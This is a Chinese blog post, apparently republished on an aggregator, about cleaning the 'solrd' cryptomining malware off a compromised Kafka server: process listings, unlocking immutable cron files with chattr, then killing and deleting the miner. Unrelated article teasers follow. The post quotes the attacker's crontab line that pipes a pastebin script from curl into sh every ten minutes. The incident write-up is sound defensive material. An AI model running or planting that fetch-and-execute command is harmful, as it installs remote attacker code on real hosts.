记录清除挖矿病毒 solrd 过程

1、发现solrd病毒

端午节期间,kafka 服务器被黑客攻击了,植入了挖矿病毒 solrd,这个病毒很聪明,内存,CPU并没有异常升高,以致于上班第一天完全没有察觉。
上班第一天 正常登录服务器查看 flink ,消费kafka 服务有没有 挂掉,习惯性的使用了jps 如下:

[root@linuxdevname1 ~]# jps
26770 -- process information unavailable
5220 -- process information unavailable
23686 -- process information unavailable
32711 -- process information unavailable
6855 -- process information unavailable
28425 -- process information unavailable
2746 -- process information unavailable
1212 -- process information unavailable
17213 -- process information unavailable
6127 -- process information unavailable

process information unavailable 这使我很郁闷,此时还没有察觉 到病毒导致的,于是百度了一下 这些关键字 网上的大神都是说 删除 tmp 目录下hsperfdata_* 文件夹 rm -rf /tmp/hsperfdata_*
在这里插入图片描述
跟着一顿操作猛如虎

[root@linuxdevname1 tmp]# rm -rf hsperfdata_*
[root@linuxdevname1 tmp]# jps
19249 Jps

删除完成发现 所有进程都不见了,此时吓懵了,因为是现网,产线还有很多消息正在往kafka里写数据,。定眼一看,内存和CPU并没有下降,所以我判断 kafka 进程并没有挂掉,只是jps 不显示 而已
然后立马top -c 了一下

[root@linuxdevname1 ~]# top -c
top - 14:10:57 up 691 days, 21:18,  2 users,  load average: 3.44, 2.83, 2.86
Tasks: 142 total,   3 running, 139 sleeping,   0 stopped,   0 zombie
%Cpu(s): 19.3 us, 33.2 sy,  0.0 ni, 47.2 id,  0.0 wa,  0.0 hi,  0.3 si,  0.0 st
KiB Mem : 16266156 total,   182660 free,  9594172 used,  6489324 buff/cache
KiB Swap:  1048572 total,   394220 free,   654352 used.  6326952 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      8688 root      20   0 2441092   2.3g   2904 S   0.0 14.7   2112:12 /tmp/.solr/solrd                                                                                             
26770 root      20   0 5948868   1.3g   7444 S   2.0  8.2   7558:51 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
32711 root      20   0 5047692   1.2g  27912 S   1.0  8.0  55:51.95 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 1212 root      20   0 4339052 795856  22812 S   1.0  4.9  55:10.81 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 
23686 root      20   0 4350936 724604  17792 S   0.0  4.5 684:53.55 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-log-dinc/prod/xc-streamservice-log-school-di-1+ 
28425 root      20   0 4341528 669972  18080 S   0.7  4.1 396:46.52 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/log-active-user-dinc/prod/xc-streamservice-school-+ 
17213 root      20   0 4284844 639256  18060 S   0.3  3.9 671:41.14 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-login-dinc/prod/xc-streamservice-log-school-lo+ 6127 root      20   0 4735288 491552  11144 S   1.3  3.0 847:48.62 java -Xms512m -Xmx1024m -jar /xckj/bigdata/logservice/log-service-xc-2.0.0.jar                               2746 root      20   0 7858880 430304   4440 S   0.7  2.6   3546:17 java -jar /usr/local/eduman/eduman-register/eduman-register.jar                                              6855 root      20   0 3858544 382308   5176 S   0.3  2.4   1106:22 /usr/local/jdk1.8.0_121/bin/java -Xmx512M -Xms512M -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:Initiat+ 
20686 root      10 -10  179020  48100   6488 R   9.0  0.3   2385:33 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   
15682 root      20   0   88564  39268  39052 S   0.7  0.2   8:49.44 /usr/lib/systemd/systemd-journald                                                                            882 root      20   0  734548  31488  28236 S   0.3  0.2  61:41.73 /usr/sbin/rsyslogd -n                                                                                        
20675 root      10 -10  115704   9468   4832 S   0.7  0.1 493:20.19 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDun                                                          6117 root      20   0  158048   6404   4656 S   0.7  0.0   0:00.83 sshd: root@pts/0,pts/3                                                                                       6556 root      20   0  118312   4804   1728 S   0.0  0.0   0:00.04 -bash                                                                                                        6186 root      20   0  118312   4764   1688 S   0.0  0.0   0:00.04 -bash                                                                                                        6809 root      10 -10   62140   4516   3080 S   0.0  0.0 102:09.96 /usr/local/aegis/aegis_update/AliYunDunUpdate                                                                
19053 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 874 root      20   0  574284   4316    232 S   0.0  0.0 106:25.59 /usr/bin/python2 -Es /usr/sbin/tuned -l -P                                                                   5822 postfix   20   0   91968   4164   3144 S   0.0  0.0   0:00.09 pickup -l -t unix -u                                                                                         
19176 root      20   0  118252   3736    528 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19163 root      20   0  118252   3688    520 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19157 root      20   0  118252   3628    508 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19175 root      20   0  118252   3588    408 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19160 root      20   0  118252   3472    348 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19164 root      20   0  118252   3316    192 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 1 root      20   0  125696   3176   1716 S   0.0  0.0 173:43.90 /usr/lib/systemd/systemd --switched-root --system --deserialize 22                                           8464 root      20   0  162860   3112   1592 S   0.0  0.0   0:00.25 top                                                                                                          2342 root      20   0  163136   2968   1260 S   0.0  0.0   0:20.24 top  

此时看到消费kafka 服务都还在,没有注意到第一行的 /tmp/.solr/solrd 病毒,此时它还没有占用多少CPU跟内存。没有太在意它

就在今天 查看某一个定时任务为什么没有执行的时候 发现 crontab 里面的定时任务被删除了,莫名其妙的多了一个不认识的定时调度任务 访问一个地址

[root@linuxdevname1 ~]# crontab -e
*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh

瞬时意识到 服务器被攻击了,立马注释 crontab 这条记录保存的时候发现 保持不了

[root@linuxdevname1 tmp]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.linuxdevname1.XXXXx0RbdC to /var/spool/cron/root
rename: 不允许的操作
crontab: edits left in /tmp/crontab.5Oev80

于是乎继续百度 发现是 /var/spool/cron 文件夹下的 root 文件被锁了 ,于是使用
chattr -a /etc/crontab
chattr -i /etc/crontab
解锁

[root@linuxdevname1 cron]# lsattr /var/spool/cron/
-----ia-------e-- /var/spool/cron/root
[root@linuxdevname1 cron]# chattr -i /var/spool/cron/
[root@linuxdevname1 cron]# chattr -a /var/spool/cron/再次查看 
[root@linuxdevname1 cron]# lsattr /var/spool/cron/
------------e-- /var/spool/cron/root

解锁完成后发现hosts 也被锁住了,里面的内容也被删除了,于是使用相同的办法解锁

解锁完成后,再编辑 crontab 终于可以修改保存了。

突然间发现内存和CPU异常升高,CPU 100%
使用top -c 命令 此时发现了CPU 118% 病毒 solrd (你小子隐藏的挺深啊,昨天都没在意你)

[root@linuxdevname1 ~]# top -c
top - 14:05:26 up 692 days, 21:13, 14 users,  load average: 23.88, 19.97, 18.49
Tasks: 328 total,  25 running, 296 sleeping,   0 stopped,   7 zombie
%Cpu(s): 57.2 us, 42.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
KiB Mem : 16266156 total,  3311844 free,  6375112 used,  6579200 buff/cache
KiB Swap:  1048572 total,   394232 free,   654340 used.  9545852 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      
29242 root      20   0 2434376   1.4g   2784 S 118.0  8.8   0:35.39 /tmp/.solr/solrd                                                                                             
20686 root      10 -10  180048  49084   6444 R   8.8  0.3   2514:18 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   1212 root      20   0 4339052 795680  22724 S   1.0  4.9  68:28.88 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 1830 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 1833 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 2548 root      20   0  118248   4452   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   2932 root      20   0  118248   4464   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   3458 root      20   0  158052   6540   4752 S   1.0  0.0   0:59.78 sshd: root@pts/14,pts/15                                                                                     3519 root      20   0  118248   4292   1348 S   1.0  0.0   0:00.03 bash -c ls --color=never -l /proc/*/exe                                                                      3583 root      20   0  117720   4012   1344 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   8059 root      20   0  163300   3372   1608 S   1.0  0.0   0:45.08 top                                                                                                          
23015 root      20   0  159012   7492   4656 S   1.0  0.0   1:57.77 sshd: root@pts/0,pts/3                                                                                       
26770 root      20   0 5948868   1.3g   7560 S   1.0  8.2   7576:11 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
31668 root      20   0  163412   3468   1608 R   1.0  0.0   0:44.29 top                                                                                                          
32711 root      20   0 5012824   1.2g  27848 S   1.0  7.9  89:48.80 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 1597 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 1713 root      20   0  158048   6536   4752 S   0.7  0.0   1:02.47 sshd: root@pts/10,pts/11                                                                                     1818 root      20   0  118248   4464   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      1831 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 1832 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      2229 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   2724 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 3517 root      20   0  118252   4456   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|31751|725|904|1076|1597|1818|1830|1831|1832|1833|2229|2474|2548|31+ 3693 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 3741 root      20   0  118248   4292   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      3743 root      20   0  118252   4452   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|31999|904|1597|1818|1830|1831|1832|1833|2229|2548|2724|29+ 4434 root      20   0  117724   4044   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|904|1597|1818|1830|1831|1832|2229|2548|2724|293+ 4435 root      20   0  117720   4040   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      4802 root      20   0  117720   4016   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   4852 root      20   0  117724   4040   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 4885 root      20   0  158272   6844   4752 S   0.7  0.0   1:13.79 sshd: root@pts/4,pts/5                                                                                       4933 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|8059|23015|904|1597|1818|1830|1831|COMMAND"      4936 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      5042 root      20   0  117720   4016   1344 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   5055 root      20   0  116532   2696   1340 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   8947 root      20   0  163296   3532   1608 S   0.7  0.0   0:39.86 top                                                                                                          
13023 root      20   0  162412   2624   1680 R   0.7  0.0   0:00.15 top -c                                                                                                       
16498 root      20   0  163300   3448   1608 S   0.7  0.0   0:38.02 top                                                                                                          
17791 root      20   0  158056   6544   4752 S   0.7  0.0   1:08.38 sshd: root@pts/8,pts/9 

于是乎,立马进行kill

[root@linuxdevname1 ~]# kill -9 29242
[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

刚kill 完成 再次top -c 发现这个病毒有换了一个进程的id 又起来了,试了几次都没用,于是 查到病毒执行的文件夹

[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

找到目录后,直接删除 rm -rf /tmp/.solr/solrd
然后 再kill 掉solrd 进程发现solrd 病毒 没有再起来了
CPU 内存对应的降到正常情况。
于是紧急关闭了阿里云出入防火墙其他不用的端口。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/851642.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【qt】视口和窗口坐标

视口和窗口坐标 一.视口和窗口坐标的原理二.视口和窗口坐标的好处三.演示好处四.总结 一.视口和窗口坐标的原理 在绘图事件中进行绘图 void Widget::paintEvent(QPaintEvent *event) {QPainter painter(this);QRect rect(200,0,200,200);painter.drawRect(rect);//设置视口的…

HCIA12 NAT网络地址转换实验

NAT(Network Address Translation)是将 IP 报头中的 IP 地址转换为另一个 IP 地址的过程。主要俩好处: • 有效避免来自外网的攻击,可以很大程度上提高网络安全性。 • 控制内网主机访问外网,同时也可以控制外网…

SwanLab系列教程:用swanlab.Text记录文本

SwanLab是一个由国内团队开源的机器学习实验跟踪工具,相比于Tensorboard有更丰富的功能、更友好的UI界面,以及更重要的云端同步、多人协作功能。 安装:pip install swanlab 本教程主要介绍如何用swanlab.Text记录文本,这在做NLP…

描述常见的Java安全漏洞和防范措施

常见的Java安全漏洞及其防范措施可以归纳如下: 一、常见的Java安全漏洞 跨站脚本攻击(XSS) 漏洞描述:攻击者通过在网页中插入恶意脚本来获取用户的敏感信息或执行恶意操作。防范措施: 输入验证和过滤:对用…

Web前端简历筛选:深入剖析筛选要点与技巧

Web前端简历筛选:深入剖析筛选要点与技巧 在人才辈出的互联网时代,Web前端开发者成为众多企业争相争夺的宝贵资源。然而,面对海量的简历,如何筛选出真正符合需求的前端人才,成为HR们的一大挑战。本文将从四个方面、五…

maven在setting.xml配置文件中限制某个包不走某个镜像的配置案例

一、以阿里云镜像为例 1、验证示例&#xff0c;在 ideal 项目的父 pom.xml 文件中&#xff0c;配置了如下指定镜像 <repositories><repository><id>osgeo</id><url>https://repo.osgeo.org/repository/release/</url><snapshots>&l…

Allegro铺铜以及分割操作

Allegro铺铜以及分割操作 一、铺铜全局设置 点击Shape–>Global Dynamic Shape Parameters&#xff0c;在Shape fill中选择Smooth&#xff0c;其他不用管&#xff0c;这个是在铺铜的时候自动避让不同网络&#xff0c;在Void controls中一般填写如下参数&#xff0c;即避让…

数字孪生智慧水利:精准管理与智能决策的新时代

图扑数字孪生技术在智慧水利中的应用&#xff0c;通过虚拟模型与真实水利系统的无缝连接&#xff0c;实现对水资源和水利工程的全面监控和精细管理。实时数据采集与动态模拟提升了水利系统的预测和响应能力&#xff0c;从洪水预警到水质监测&#xff0c;数字孪生助力各项决策更…

python实现无人机航拍图片像素坐标转世界坐标

背景 已知相机参数&#xff08;传感器宽度和高度、图像宽度和高度、焦距、相对航高、像主点坐标 &#xff09;&#xff0c;在给定像素坐标的前提下&#xff0c;求世界坐标&#xff0c;大部分通过AI来实现&#xff0c;不知道哪个步骤有问题&#xff0c;望大家指正 脚本 impor…

日志通关4:logback

插&#xff1a; AI时代&#xff0c;程序员或多或少要了解些人工智能&#xff0c;前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家(前言 – 人工智能教程 ) 坚持不懈&#xff0c;越努力越幸运&#xff0c;大家…

Nginx学习笔记(十)如何配置HTTPS协议?(公网)

目录 一、简介二、SSL 证书类型介绍三、公网 SSL 证书3.1 证书管理工具3.2 下载安装 acme.sh3.3 申请并下载证书报错1&#xff1a;没有指定账号报错2&#xff1a;DNS无法解析的域名报错3&#xff1a;无效的响应 404 3.4 配置 Nginx3.5 证书过期刷新 四、补充4.1 同一域名的不同…

硬盘危机:磁盘损坏无法打开的应对策略

在数字化时代&#xff0c;磁盘作为数据存储和传输的核心设备&#xff0c;其稳定性和安全性至关重要。然而&#xff0c;在日常使用过程中&#xff0c;我们时常会面临磁盘损坏无法打开的困境。这不仅会影响我们的工作效率&#xff0c;还可能造成重要数据的丢失。本文将深入探讨磁…

2024年,计算机相关专业还值得选择吗?

问&#xff1a;随着2024年高考落幕&#xff0c;数百万高三学生又将面临人生中的重要抉择&#xff1a;选择大学专业。在这个关键节点&#xff0c;计算机相关专业是否仍是“万金油”的选择&#xff1f;在过去很长一段时间里&#xff0c;计算机科学与技术、人工智能、网络安全、软…

抖音 根据sec uid获取个人详细信息(性别、年龄、属地、关注数、粉丝数、简介等)

本文带来用户的secuid获取用户信息以及其他基本信息&#xff1a; 话不多说看效果&#xff1a; 第一步输入用户sec_uid 根据secuid获取到用户基本信息&#xff1a; 可以支持接口批量转换&#xff0c;欢迎咨询

从信息泄露到登录后台

信息收集 上谷歌用谷歌语法&#xff0c;经过漫长的翻找发现一处PDF&#xff1a; 是某大学的某系统帮助文档&#xff0c;其中泄露了人员的工号和sfz 尝试登陆 此时&#xff0c;虽然获取了工号和sfz&#xff0c;众所周知&#xff0c;现在很多统一身份认证都是学号/工号sfz后六位…

玩转ChatGPT:最全学术论文提示词分享【下】

学境思源&#xff0c;一键生成论文初稿&#xff1a; AcademicIdeas - 学境思源AI论文写作 本篇文章&#xff0c;是系列文章「最全学术论文提示词」的完结篇。前两篇的内容请到文末链接处跳转&#x1f447;&#x1f3fb; 11.提交和发布 prompt 1&#xff1a;根据[期刊/会议]指…

深入探讨Java压缩利器:net.lingala.zip4j.ZipFile的应用与实践

在现代软件开发中&#xff0c;数据压缩是一个常见且重要的任务。无论是减小文件大小以节省存储空间&#xff0c;还是将多个文件打包在一起以便于传输和分发&#xff0c;压缩技术都是不可或缺的。在Java世界中&#xff0c;net.lingala.zip4j.ZipFile库因其强大的功能和易用性&am…

如何系统学习vue框架

前言 在软件开发的浩渺星海中&#xff0c;编程规范如同航海的罗盘&#xff0c;为我们指引方向&#xff0c;确保我们的代码之旅能够顺利、高效地到达目的地。无论是个人开发者还是大型团队&#xff0c;编程规范都是提升代码质量、保障项目成功不可或缺的一环。 因此&#xff0c…

人工智能模型对有争议的话题持相反的观点

人工智能模型对有争议的话题持相反的观点 并非所有生成式人工智能模型都是平等的&#xff0c;特别是当涉及到它们如何处理两极分化的主题时。 在2024年ACM公平、问责和透明度(FAccT)会议上发表的一项最新研究中&#xff0c;卡内基梅隆大学、阿姆斯特丹大学和人工智能初创公司h…

【设计模式】结构型-代理模式

在静谧的林间舞台上&#xff0c;代理轻舞着对象的梦想&#xff0c;掌控访问&#xff0c;引领旋律&#xff0c;真实与虚幻间&#xff0c;交织出灵动的诗篇。 文章目录 一、数据库操作的问题二、代理模式三、代理模式的核心组成四、运用代理模式五、代理模式的应用场景六、小结推…